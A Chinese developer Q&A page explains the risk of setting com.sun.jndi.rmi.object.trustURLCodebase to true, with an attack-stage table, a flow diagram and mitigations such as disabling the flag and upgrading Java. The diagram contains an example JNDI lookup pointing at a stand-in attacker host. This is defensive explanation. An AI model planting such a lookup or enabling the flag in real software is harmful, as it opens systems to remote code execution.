**问题:**
`com.sun.jndi.rmi.object.trustURLCodebase`设为`true`有何风险?
当`com.sun.jndi.rmi.object.trustURLCodebase`设置为`true`时,JNDI将允许从远程URL加载RMI对象的类定义。这一配置存在严重的安全隐患,攻击者可借此发起Java反序列化攻击,通过构造恶意RMI服务诱导目标系统加载并执行任意代码,从而实现远程代码执行(RCE)。该漏洞曾被广泛用于各类Java反序列化攻击链中,如结合`Apache Commons Collections`等库进行利用。因此,在生产环境中应避免启用该选项,或严格限制代码加载来源,防止潜在的恶意行为。
1条回答 默认 最新
璐寶 2025-06-29 14:20关注一、问题背景与浅层理解
com.sun.jndi.rmi.object.trustURLCodebase是一个JNDI(Java Naming and Directory Interface)系统属性,用于控制是否允许从远程URL加载RMI对象的类定义。当该参数设置为
true时,表示JNDI将信任来自RMI服务端的代码库地址,并尝试从中加载类。这种机制在某些早期分布式系统中被用来动态加载客户端所需的类文件。- 启用此配置后,Java应用可自动从指定URL下载并执行.class文件
- 这在某些老旧系统或遗留项目中可能仍然存在
二、安全风险深度剖析
将
com.sun.jndi.rmi.object.trustURLCodebase设为true会直接暴露Java反序列化攻击面,其核心风险在于:- 攻击者可以构造恶意RMI服务器
- 诱导目标系统连接该服务并尝试加载远程类
- 利用已知的Java反序列化漏洞(如Apache Commons Collections中的Gadget链)
- 最终实现远程代码执行(Remote Code Execution, RCE)
攻击阶段 攻击手段 目标行为 1. 诱骗连接 伪造RMI注册中心或服务端 受害者调用lookup() 2. 类加载 返回恶意封装的Remote对象引用 JVM尝试从远程加载类 3. 反序列化触发 包含精心构造的readObject()方法 执行任意代码 三、技术影响与实际案例
此类攻击最早在CVE-2015-4852中被广泛传播,涉及Apache Commons Collections库的Transformer链利用方式。
攻击流程示意图如下:
Victim App —— lookup("rmi://attacker.com/obj") → Attacker RMI Registry → 返回带有恶意codebase的对象引用 → JVM尝试加载远程类 → 触发反序列化漏洞 → 执行shell命令graph TD A[Client Application] --> B{JNDI Lookup} B --> C[RMI Registry at attacker.com] C --> D[Return Reference with Remote Codebase] D --> E[ClassLoader Attempt to Load Class] E --> F{trustURLCodebase == true?} F -- Yes --> G[Download Class from Remote URL] G --> H[Deserialization Triggered in readObject()] H --> I[Arbitrary Code Execution]四、解决方案与缓解措施
为了防止因
com.sun.jndi.rmi.object.trustURLCodebase=true引发的安全问题,建议采取以下措施:- 默认关闭该选项:
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false - 严格限制JNDI查找来源,避免不受控的外部输入作为lookup参数
- 升级至Java 8u191及以上版本,该版本增强了对JNDI和RMI类加载的限制
- 使用黑名单/白名单机制过滤lookup路径
- 部署WAF规则检测异常JNDI请求流量
- 对所有Java反序列化操作进行代码审计,移除不安全的依赖库(如旧版Commons Collections)
五、最佳实践与行业建议
对于IT从业者,尤其是拥有5年以上经验的工程师,应关注以下实践方向:
- 持续更新安全意识,了解新型攻击手法(如Log4j JNDI注入)
- 推动组织内代码规范审查,禁用危险JVM参数
- 引入自动化扫描工具(如Burp Suite、SonarQube插件)识别潜在JNDI风险
- 建立应急响应机制,快速应对类似漏洞爆发事件
- 构建安全编码文化,避免在生产环境中启用调试或开发专用配置
本回答被题主选为最佳回答 , 对您是否有帮助呢?解决 无用评论 打赏 举报